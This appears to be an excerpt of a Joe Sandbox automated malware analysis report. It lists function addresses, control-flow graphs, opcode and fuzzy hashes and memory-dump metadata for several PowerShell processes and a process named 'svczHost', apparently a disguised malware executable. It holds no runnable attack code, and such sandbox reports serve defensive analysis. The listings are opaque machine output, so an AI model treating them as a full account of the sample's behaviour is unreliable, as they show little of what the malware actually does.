                                                                                                                                            • Source File: 00000002.00000002.1277904940.00007FFC05870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05870000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_2_2_7ffc05870000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: }$c$ }$c$ }$c$n
                                                                                                                                            • API String ID: 0-2055016570
                                                                                                                                            • Opcode ID: 84b0dfab1493dbe04322196ed7635b491b342984047bcda666e8343415d0edb2
                                                                                                                                            • Instruction ID: a90653fb89bdb26b62afd8e7a65cb7f41c212f56bd05793d93345ee77cbfc1df
                                                                                                                                            • Opcode Fuzzy Hash: 84b0dfab1493dbe04322196ed7635b491b342984047bcda666e8343415d0edb2
                                                                                                                                            • Instruction Fuzzy Hash: 3631219684D7DE5FE7038B3948645B23FB1DF53650B0945EBC498CB1A3EA08994BC362

                                                                                                                                            Executed Functions

                                                                                                                                            Function 00007FFC056BED40 Relevance: .1, Instructions: 126COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000007.00000002.1128358622.00007FFC056BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC056BD000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_7_2_7ffc056bd000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 3a23091c31ea5eb41df5f9225317d725e68875fd08add59dc00b28f8eb2af1a6
                                                                                                                                            • Instruction ID: 62621cd86ea1e71cae581542aa6ceb2d1ca631665b45730e962037dd1c2c3d2b
                                                                                                                                            • Opcode Fuzzy Hash: 3a23091c31ea5eb41df5f9225317d725e68875fd08add59dc00b28f8eb2af1a6
                                                                                                                                            • Instruction Fuzzy Hash: 01411D7080DBC44FE7569B299C459923FF4EF57320B1505DFD088CB2A3D616AC46C7A2
                                                                                                                                            Function 00007FFC057D3C85 Relevance: .0, Instructions: 49COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000007.00000002.1128846518.00007FFC057D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057D0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_7_2_7ffc057d0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 396c557556bf2e5a035e2031ae64337e1c9bf72261f899d41def9ec3d037d877
                                                                                                                                            • Instruction ID: 00dbd8810e84a4eca139d44d0feef76ef47ee5dc9f0940d8e1bd149f53903917
                                                                                                                                            • Opcode Fuzzy Hash: 396c557556bf2e5a035e2031ae64337e1c9bf72261f899d41def9ec3d037d877
                                                                                                                                            • Instruction Fuzzy Hash: 2801677111CB0C8FDB44EF0CE451AA5B7E0FB95324F50056DE58AC3691D736E892CB46

                                                                                                                                            Non-executed Functions

                                                                                                                                            Function 00007FFC057D0605 Relevance: 6.4, Strings: 5, Instructions: 113COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000007.00000002.1128846518.00007FFC057D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC057D0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_7_2_7ffc057d0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: (0?c$8,?c$H1?c$P/?c$/?c
                                                                                                                                            • API String ID: 0-1186749314
                                                                                                                                            • Opcode ID: 4fbd5606dfdf19fe1eaefbb6c04250a37eb0534e57f689df64385e2b5354225b
                                                                                                                                            • Instruction ID: a9171994d30afdea9badc7ce8931efb3c5d89936ea65ff5f53316e0cb6d56396
                                                                                                                                            • Opcode Fuzzy Hash: 4fbd5606dfdf19fe1eaefbb6c04250a37eb0534e57f689df64385e2b5354225b
                                                                                                                                            • Instruction Fuzzy Hash: AF41F58691E6D94FFA228A79082C1796FF06F92A00F1C04FFC0858B59FE4469907D376

                                                                                                                                            Execution Graph

                                                                                                                                            Execution Coverage:1.6%
                                                                                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                                                                                            Signature Coverage:0%
                                                                                                                                            Total number of Nodes:3
                                                                                                                                            Total number of Limit Nodes:0
                                                                                                                                            execution_graph 10985 7ffc0579e674 10986 7ffc0579e67d LoadLibraryExW 10985->10986 10988 7ffc0579e72d 10986->10988

                                                                                                                                            Executed Functions

                                                                                                                                            Function 00007FFC05862389 Relevance: 9.3, Strings: 7, Instructions: 520COMMON
                                                                                                                                            Download Yara Rule

                                                                                                                                            Control-flow Graph

                                                                                                                                            • Executed
                                                                                                                                            • Not Executed
                                                                                                                                            control_flow_graph 0 7ffc05862389-7ffc058623b1 1 7ffc058623b4-7ffc058623b5 0->1 2 7ffc058623b7-7ffc058623c0 1->2 3 7ffc058623b6 1->3 4 7ffc058623c1-7ffc058623c4 2->4 5 7ffc058623e5-7ffc058623e7 2->5 3->2 7 7ffc058623e9-7ffc05862415 4->7 8 7ffc058623c6-7ffc058623cb 4->8 5->7 11 7ffc0586241b-7ffc05862440 7->11 12 7ffc058625f6-7ffc05862600 7->12 8->1 9 7ffc058623cd-7ffc058623e1 8->9 9->5 11->12 19 7ffc05862446-7ffc05862449 11->19 13 7ffc05862613-7ffc05862662 12->13 14 7ffc05862602-7ffc05862612 12->14 24 7ffc05862665-7ffc05862671 13->24 19->12 20 7ffc0586244f-7ffc05862464 19->20 20->12 23 7ffc0586246a-7ffc0586246d 20->23 23->12 25 7ffc05862473-7ffc05862488 23->25 30 7ffc05862673-7ffc05862679 24->30 31 7ffc0586267d 24->31 25->12 28 7ffc0586248e-7ffc058624b0 25->28 28->24 32 7ffc058624b6-7ffc058624c0 28->32 33 7ffc05862681-7ffc058626a2 30->33 34 7ffc0586267b 30->34 31->33 35 7ffc0586267f 31->35 37 7ffc058624c2-7ffc058624d7 32->37 38 7ffc058624d9-7ffc058624ee 32->38 36 7ffc058626a4-7ffc058626bb 33->36 34->31 35->33 42 7ffc058626bd-7ffc058626ef 36->42 37->38 38->24 43 7ffc058624f4-7ffc058624fe 38->43 48 7ffc05862771 42->48 49 7ffc058626f5-7ffc0586270a 42->49 46 7ffc05862500-7ffc05862515 43->46 47 7ffc05862517-7ffc05862564 43->47 46->47 60 7ffc05862568-7ffc05862578 47->60 52 7ffc05862773-7ffc0586277b 48->52 49->48 56 7ffc0586270c-7ffc05862719 49->56 54 7ffc0586277d-7ffc05862785 52->54 55 7ffc05862786-7ffc058627c2 52->55 61 7ffc0586272d-7ffc0586276e 56->61 62 7ffc0586271b-7ffc05862729 56->62 67 7ffc0586258c-7ffc058625a8 60->67 68 7ffc0586257a-7ffc0586258b 60->68 61->48 62->52 69 7ffc0586272b-7ffc0586272c 62->69 77 7ffc058625bc-7ffc058625c1 67->77 78 7ffc058625aa-7ffc058625bb 67->78 68->67 69->61 80 7ffc058625c3 77->80 81 7ffc058625c5-7ffc058625c8 77->81 78->77 80->81 81->24 82 7ffc058625ce-7ffc058625f5 81->82
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000000B.00000002.1924058363.00007FFC05860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05860000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_11_2_7ffc05860000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: }$c$ }$c$ }$c$ }$c$r6"c$r6"c$x~B
                                                                                                                                            • API String ID: 0-4245548608
                                                                                                                                            • Opcode ID: ab86b7340015eb9f55d27c7aa5c42b6c1622b00e5d708b9c7729d7b58cd7870d
                                                                                                                                            • Instruction ID: 207386a15cb7e69d2e38bd0bb2cfddf886fd4115acb7d1c219bf00277813f057
                                                                                                                                            • Opcode Fuzzy Hash: ab86b7340015eb9f55d27c7aa5c42b6c1622b00e5d708b9c7729d7b58cd7870d
                                                                                                                                            • Instruction Fuzzy Hash: 06E19F56A4DBAF4FE799832C58559703BD2EF96610B0806FBC44ACB1D3DD18AC4BC352
                                                                                                                                            Function 00007FFC05CC2B60 Relevance: 3.0, Strings: 2, Instructions: 484COMMON
                                                                                                                                            Download Yara Rule

                                                                                                                                            Control-flow Graph

                                                                                                                                            • Executed
                                                                                                                                            • Not Executed
                                                                                                                                            control_flow_graph 148 7ffc05cc2b60-7ffc05cc2b62 149 7ffc05cc2b64-7ffc05cc2b6b 148->149 150 7ffc05cc2bdd-7ffc05cc2c0f 148->150 151 7ffc05cc2b54 149->151 152 7ffc05cc2b6d-7ffc05cc2b9f 149->152 155 7ffc05cc2c15-7ffc05cc2c1f 150->155 156 7ffc05cc2d73-7ffc05cc2e27 150->156 151->148 154 7ffc05cc2ba4-7ffc05cc2bbb 152->154 154->154 157 7ffc05cc2bbd-7ffc05cc2bdb 154->157 158 7ffc05cc2c3b-7ffc05cc2c48 155->158 159 7ffc05cc2c21-7ffc05cc2c39 155->159 198 7ffc05cc2e29 156->198 199 7ffc05cc2e30-7ffc05cc2e3f 156->199 157->150 166 7ffc05cc2d08-7ffc05cc2d12 158->166 167 7ffc05cc2c4e-7ffc05cc2c51 158->167 159->158 169 7ffc05cc2d25-7ffc05cc2d70 166->169 170 7ffc05cc2d14-7ffc05cc2d24 166->170 167->166 171 7ffc05cc2c57-7ffc05cc2c5f 167->171 169->156 171->156 174 7ffc05cc2c65-7ffc05cc2c6f 171->174 176 7ffc05cc2c89-7ffc05cc2c8f 174->176 177 7ffc05cc2c71-7ffc05cc2c7f 174->177 176->166 181 7ffc05cc2c91-7ffc05cc2c94 176->181 177->176 183 7ffc05cc2c81-7ffc05cc2c87 177->183 181->166 184 7ffc05cc2c96-7ffc05cc2c99 181->184 183->176 185 7ffc05cc2c9b-7ffc05cc2cbe 184->185 186 7ffc05cc2cc0 184->186 189 7ffc05cc2cc2-7ffc05cc2cc4 185->189 186->189 189->166 192 7ffc05cc2cc6-7ffc05cc2cd0 189->192 195 7ffc05cc2cd2-7ffc05cc2cdc 192->195 197 7ffc05cc2ce3-7ffc05cc2ceb 195->197 200 7ffc05cc2ced-7ffc05cc2cf1 197->200 201 7ffc05cc2cf3-7ffc05cc2cf8 197->201 198->199 202 7ffc05cc2e48-7ffc05cc2e78 199->202 203 7ffc05cc2e41 199->203 204 7ffc05cc2cf9-7ffc05cc2d07 200->204 201->204 207 7ffc05cc2e7c-7ffc05cc2e93 202->207 203->202 207->207 208 7ffc05cc2e95-7ffc05cc2ebf 207->208 210 7ffc05cc2ecb-7ffc05cc2ed5 208->210 211 7ffc05cc2ec1-7ffc05cc2eca 208->211 212 7ffc05cc2ed7-7ffc05cc2edf 210->212 213 7ffc05cc2ee0-7ffc05cc2f1f 210->213
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000000B.00000002.1956218968.00007FFC05CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05CC0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_11_2_7ffc05cc0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: r6"c$r6"c
                                                                                                                                            • API String ID: 0-186973813
                                                                                                                                            • Opcode ID: f62ce3f21ee8bd79e1be89014bbd4638fe8859f7ff28bea5c3232f343c3b3d6c
                                                                                                                                            • Instruction ID: 1dad643969f3aef0a9482ba1b46df325853933e210acc382ea201feee0410516
                                                                                                                                            • Opcode Fuzzy Hash: f62ce3f21ee8bd79e1be89014bbd4638fe8859f7ff28bea5c3232f343c3b3d6c
                                                                                                                                            • Instruction Fuzzy Hash: E5D13322A0DB9E5FE75A973C98651B47FE0EF5A610F0805FBD089C71A3DA18AC47C361
                                                                                                                                            Function 00007FFC0586309E Relevance: 2.3, Strings: 1, Instructions: 1068COMMON
                                                                                                                                            Download Yara Rule

                                                                                                                                            Control-flow Graph

                                                                                                                                            • Executed
                                                                                                                                            • Not Executed
                                                                                                                                            control_flow_graph 291 7ffc0586309e-7ffc058630a8 292 7ffc058631d1-7ffc0586326c 291->292 293 7ffc058630a9-7ffc058630b1 291->293 294 7ffc058630b2-7ffc058630b8 293->294 295 7ffc058630fb-7ffc05863113 293->295 298 7ffc058630ba-7ffc058630d5 294->298 299 7ffc058630d7-7ffc058630e3 294->299 303 7ffc05863115-7ffc0586315c 295->303 298->299 299->292 300 7ffc058630e9-7ffc058630f6 299->300 302 7ffc058630f8-7ffc058630f9 300->302 300->303 302->295 317 7ffc0586315e-7ffc05863171 303->317 318 7ffc05863178-7ffc0586317b 317->318 319 7ffc05863181-7ffc05863195 318->319 320 7ffc058628b9-7ffc058628c5 318->320 319->320 320->292 321 7ffc058628cb-7ffc058628d8 320->321 323 7ffc058628f1-7ffc0586290b 321->323 324 7ffc058628da-7ffc058628e7 321->324 326 7ffc0586290d-7ffc05862942 323->326 327 7ffc0586294a-7ffc05862956 323->327 324->323 329 7ffc058628e9-7ffc058628ef 324->329 326->327 327->292 328 7ffc0586295c-7ffc05862969 327->328 331 7ffc05862982-7ffc05862992 328->331 332 7ffc0586296b-7ffc05862980 328->332 329->323 331->292 335 7ffc05862998-7ffc058629a2 331->335 332->331 337 7ffc058629bb-7ffc058629c7 335->337 338 7ffc058629a4-7ffc058629b9 335->338 337->292 341 7ffc058629cd-7ffc058629d7 337->341 338->337 342 7ffc058629f1-7ffc05862a38 341->342 343 7ffc058629d9-7ffc058629e7 341->343 342->292 352 7ffc05862a3e-7ffc05862a4b 342->352 343->342 348 7ffc058629e9-7ffc058629ef 343->348 348->342 353 7ffc05862a4d-7ffc05862a5b 352->353 354 7ffc05862a65-7ffc05862a76 352->354 353->354 357 7ffc05862a5d-7ffc05862a63 353->357 354->292 356 7ffc05862a7c-7ffc05862a86 354->356 358 7ffc05862a88-7ffc05862aa1 356->358 359 7ffc05862aa4-7ffc05862ab0 356->359 357->354 358->359 359->292 361 7ffc05862ab6-7ffc05862ac0 359->361 362 7ffc0586319a-7ffc0586319f 361->362 363 7ffc05862ac6-7ffc05862adb 361->363 368 7ffc058631a7-7ffc058631bc 362->368 366 7ffc05862add-7ffc05862ae3 363->366 367 7ffc05862ae6-7ffc05862b57 363->367 366->367 367->368 377 7ffc05862b5d-7ffc05862ba6 367->377 382 7ffc05862bec-7ffc05862bfb 377->382 383 7ffc05862ba8-7ffc05862be5 377->383 384 7ffc05862bfd-7ffc05862c0a 382->384 385 7ffc05862be7 382->385 383->382 387 7ffc05862c23-7ffc05862c2e 384->387 388 7ffc05862c0c-7ffc05862c21 384->388 385->382 387->385 391 7ffc05862c30-7ffc05862c3d 387->391 388->387 393 7ffc05862c3f-7ffc05862c4c 391->393 394 7ffc05862c56-7ffc05862c61 391->394 393->394 401 7ffc05862c4e-7ffc05862c54 393->401 394->385 395 7ffc05862c63-7ffc05862c6d 394->395 399 7ffc05862c6f-7ffc05862c7d 395->399 400 7ffc05862c87-7ffc05862c8b 395->400 399->400 405 7ffc05862c7f-7ffc05862c85 399->405 400->385 403 7ffc05862c91-7ffc05862c9b 400->403 401->394 406 7ffc05862c9d-7ffc05862caa 403->406 407 7ffc05862cb4-7ffc05862cfb 403->407 405->400 406->407 412 7ffc05862cac-7ffc05862cb2 406->412 407->385 416 7ffc05862d01-7ffc05862d0b 407->416 412->407 417 7ffc05862d0d-7ffc05862d1b 416->417 418 7ffc05862d25-7ffc05862d31 416->418 417->418 421 7ffc05862d1d-7ffc05862d23 417->421 418->385 420 7ffc05862d37-7ffc05862d41 418->420 422 7ffc05862d43-7ffc05862d59 420->422 423 7ffc05862d5b-7ffc05862dcc 420->423 421->418 422->423 423->385 432 7ffc05862dd2-7ffc05862ddf 423->432 433 7ffc05862de1-7ffc05862df6 432->433 434 7ffc05862df8-7ffc05862e08 432->434 433->434 434->385 435 7ffc05862e0e-7ffc05862e18 434->435 437 7ffc05862e31-7ffc05862e3d 435->437 438 7ffc05862e1a-7ffc05862e27 435->438 437->385 441 7ffc05862e43-7ffc05862e4d 437->441 438->437 442 7ffc05862e29-7ffc05862e2f 438->442 443 7ffc05862e4f-7ffc05862e64 441->443 444 7ffc05862e66-7ffc05862ead 441->444 442->437 443->444 444->385 452 7ffc05862eb3-7ffc05862ebd 444->452 453 7ffc05862ebf-7ffc05862ed4 452->453 454 7ffc05862ed6-7ffc05862ee2 452->454 453->454 454->385 456 7ffc05862ee8-7ffc05862ef2 454->456 457 7ffc05862f12-7ffc05862f78 456->457 458 7ffc05862ef4-7ffc05862f10 456->458 469 7ffc05862fcf-7ffc05862fe3 457->469 470 7ffc05862f7a-7ffc05862fac 457->470 458->457 474 7ffc05862feb-7ffc05862ff7 469->474 470->474 475 7ffc05862fae-7ffc05862fce 470->475 474->292 477 7ffc05862ffd-7ffc05863007 474->477 475->469 479 7ffc05863009-7ffc05863024 477->479 480 7ffc05863026-7ffc05863032 477->480 479->480 480->292 482 7ffc05863038-7ffc05863042 480->482 483 7ffc05863061-7ffc0586309d 482->483 484 7ffc05863044-7ffc0586305f 482->484 483->291 484->483
                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000000B.00000002.1924058363.00007FFC05860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05860000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_11_2_7ffc05860000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: x~B
                                                                                                                                            • API String ID: 0-1573796170
                                                                                                                                            • Opcode ID: bbb14cf36798fc271b2d8bddc22e8dd53e5e5e4a5995055a8e424129d957766c
                                                                                                                                            • Instruction ID: 59307c0dfef7cc8f535d45cd6820a9ad7502f0eb5c6694f98dbfd12f6c7c4da9
                                                                                                                                            • Opcode Fuzzy Hash: bbb14cf36798fc271b2d8bddc22e8dd53e5e5e4a5995055a8e424129d957766c
                                                                                                                                            • Instruction Fuzzy Hash: AB72F331A0CA9E8FEB95EB188855A7877E2EF55700B1806FDC84DCB1C3DE25AC4AC751
                                                                                                                                            Function 00007FFC0579E674 Relevance: 1.6, APIs: 1, Instructions: 112libraryCOMMON
                                                                                                                                            Download Yara Rule

                                                                                                                                            Control-flow Graph

                                                                                                                                            • Executed
                                                                                                                                            • Not Executed
                                                                                                                                            control_flow_graph 492 7ffc0579e674-7ffc0579e67b 493 7ffc0579e686-7ffc0579e6ef 492->493 494 7ffc0579e67d-7ffc0579e685 492->494 496 7ffc0579e6f9-7ffc0579e72b LoadLibraryExW 493->496 497 7ffc0579e6f1-7ffc0579e6f6 493->497 494->493 498 7ffc0579e72d 496->498 499 7ffc0579e733-7ffc0579e75a 496->499 497->496 498->499
                                                                                                                                            APIs
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000000B.00000002.1921056442.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_11_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID: LibraryLoad
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID: 1029625771-0
                                                                                                                                            • Opcode ID: c62b06631c01f6eb4007517eb8be9b6fd7af3e22cab19ed02bb36837e4220583
                                                                                                                                            • Instruction ID: 9a7c3e7878d17c0bdcfc6c3a3bb38fe7799c57b14757299b1861c3892a30fd41
                                                                                                                                            • Opcode Fuzzy Hash: c62b06631c01f6eb4007517eb8be9b6fd7af3e22cab19ed02bb36837e4220583
                                                                                                                                            • Instruction Fuzzy Hash: D631E13190CA5C9FDB19DB9C8849AE9BBE0FF55320F04422BD009D3252CB74A406CBA1
                                                                                                                                            Function 00007FFC05CC1E51 Relevance: 1.6, Strings: 1, Instructions: 345COMMON
                                                                                                                                            Download Yara Rule

                                                                                                                                            Control-flow Graph

                                                                                                                                            Strings
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000000B.00000002.1956218968.00007FFC05CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05CC0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_11_2_7ffc05cc0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID: pv>c
                                                                                                                                            • API String ID: 0-2407088381
                                                                                                                                            • Opcode ID: 0afc922713d67db91192cd8588c8bfc604081f1ca9d2f3b31941d50569073d4b
                                                                                                                                            • Instruction ID: 82a17ecae25a3ea5cd53698d2dff5343076587316ef5b482ba0245901c105e90
                                                                                                                                            • Opcode Fuzzy Hash: 0afc922713d67db91192cd8588c8bfc604081f1ca9d2f3b31941d50569073d4b
                                                                                                                                            • Instruction Fuzzy Hash: 21A10332A0DAAE5FEB96972C48146B47FE1DF5A610F0D05FBD08DCB1A3DA189C46C361
                                                                                                                                            Function 00007FFC0567EE20 Relevance: .1, Instructions: 127COMMON
                                                                                                                                            Download Yara Rule

                                                                                                                                            Control-flow Graph

                                                                                                                                            • Executed
                                                                                                                                            • Not Executed
                                                                                                                                            control_flow_graph 558 7ffc0567ee20-7ffc0567ee59 560 7ffc0567ee5b-7ffc0567ee65 558->560 561 7ffc0567ee6a-7ffc0567ee6c 558->561 562 7ffc0567ee6d-7ffc0567eedb 560->562 563 7ffc0567ee67 560->563 561->562 565 7ffc0567eedd-7ffc0567eee4 562->565 563->561 566 7ffc0567ef0b-7ffc0567ef20 565->566 567 7ffc0567eee6-7ffc0567eeff 565->567 568 7ffc0567ef03-7ffc0567ef09 567->568 568->565
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000000B.00000002.1918520591.00007FFC0567D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC0567D000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_11_2_7ffc0567d000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: e42bccde287ac296a6579d6692aab1b830402a7da7cb525d2576b4ac7263f872
                                                                                                                                            • Instruction ID: 5d909693e587f1f91338d2b2ab17bf294ed135477560b17da5c4d058f866c2fa
                                                                                                                                            • Opcode Fuzzy Hash: e42bccde287ac296a6579d6692aab1b830402a7da7cb525d2576b4ac7263f872
                                                                                                                                            • Instruction Fuzzy Hash: 4941197140DBC84FD7569B399845A523FF4EF57320B1509DFE088CB1A3D62AAC4AC7A2
                                                                                                                                            Function 00007FFC0586B30D Relevance: .0, Instructions: 37COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000000B.00000002.1924058363.00007FFC05860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05860000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_11_2_7ffc05860000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 7e2bd73738d0fe87e279a7f86aabee93e5aec9abad35e5fabd71151cf39d7311
                                                                                                                                            • Instruction ID: 5e106342d3531f48f202c82f1e6870889798ae944bde1ba6de01dec4e7f199ce
                                                                                                                                            • Opcode Fuzzy Hash: 7e2bd73738d0fe87e279a7f86aabee93e5aec9abad35e5fabd71151cf39d7311
                                                                                                                                            • Instruction Fuzzy Hash: 3EF0E232B0C5598FD7A8EB0CE4418A873E0EF45725B1004BAE00DC70A3CF25EC46C760
                                                                                                                                            Function 00007FFC05CC3FD4 Relevance: .0, Instructions: 35COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000000B.00000002.1956218968.00007FFC05CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05CC0000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_11_2_7ffc05cc0000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 2078804d272884efa5b89fa977be24b7345f9ddbf2b8b30692a4cbc9de2b5091
                                                                                                                                            • Instruction ID: fc36df65bb28040198a844eb9f37d13f265aefb80067f6443ae655c1d0ddc636
                                                                                                                                            • Opcode Fuzzy Hash: 2078804d272884efa5b89fa977be24b7345f9ddbf2b8b30692a4cbc9de2b5091
                                                                                                                                            • Instruction Fuzzy Hash: E3F0A73171CF044FE748EE1CD445661B7D1FBA8310F10462FE44AC3251DA21E4818782
                                                                                                                                            Function 00007FFC0586B5C0 Relevance: .0, Instructions: 35COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000000B.00000002.1924058363.00007FFC05860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05860000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_11_2_7ffc05860000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: 614a3bfd2dc5a9cf13d92f7d7b60b9e8452a8ada68d18c099ad347e9b1d28eb4
                                                                                                                                            • Instruction ID: ec067a9daf8464dd6c0879132464ef468f68518197811cc8944cf2f42abacbc4
                                                                                                                                            • Opcode Fuzzy Hash: 614a3bfd2dc5a9cf13d92f7d7b60b9e8452a8ada68d18c099ad347e9b1d28eb4
                                                                                                                                            • Instruction Fuzzy Hash: 34F08231A0C5698FDB59EB0CE4458E8B7E4FF05725B5405BAE01DCB0A3CA26EC45CB61

                                                                                                                                            Non-executed Functions

                                                                                                                                            Function 00007FFC057932DB Relevance: .1, Instructions: 125COMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 0000000B.00000002.1921056442.00007FFC05790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFC05790000, based on PE: false
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_11_2_7ffc05790000_powershell.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID:
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID:
                                                                                                                                            • Opcode ID: d8c7ae0ee57b41f2451aac77128280e1e9dafe95c730aed041405c27ac83a8bf
                                                                                                                                            • Instruction ID: 2c2a098a8beaa926fa99ddd5e4f8c09bf4236e284a46bcda70aaa81e368f9ede
                                                                                                                                            • Opcode Fuzzy Hash: d8c7ae0ee57b41f2451aac77128280e1e9dafe95c730aed041405c27ac83a8bf
                                                                                                                                            • Instruction Fuzzy Hash: 8331E262A1C95E9FFA84E62C98956B533E0EFA932570545B7D04DC7292DD18E8078370

                                                                                                                                            Non-executed Functions

                                                                                                                                            Function 00007FF7A2A0BFE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                                                                                                                            Download Yara Rule
                                                                                                                                            APIs
                                                                                                                                            Memory Dump Source
                                                                                                                                            • Source File: 00000016.00000002.2319342485.00007FF7A2951000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7A2950000, based on PE: true
                                                                                                                                            • Associated: 00000016.00000002.2319299494.00007FF7A2950000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            • Associated: 00000016.00000002.2320322903.00007FF7A2DCF000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            • Associated: 00000016.00000002.2320633620.00007FF7A2F41000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            • Associated: 00000016.00000002.2320633620.00007FF7A3057000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            • Associated: 00000016.00000002.2320633620.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            • Associated: 00000016.00000002.2321393367.00007FF7A3265000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            • Associated: 00000016.00000002.2321433945.00007FF7A3266000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            • Associated: 00000016.00000002.2321433945.00007FF7A327F000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            • Associated: 00000016.00000002.2321433945.00007FF7A3282000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            • Associated: 00000016.00000002.2321433945.00007FF7A3284000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            • Associated: 00000016.00000002.2321596938.00007FF7A3287000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                            • Snapshot File: hcaresult_22_2_7ff7a2950000_svczHost.jbxd
                                                                                                                                            Similarity
                                                                                                                                            • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                                                                            • String ID:
                                                                                                                                            • API String ID: 2933794660-0
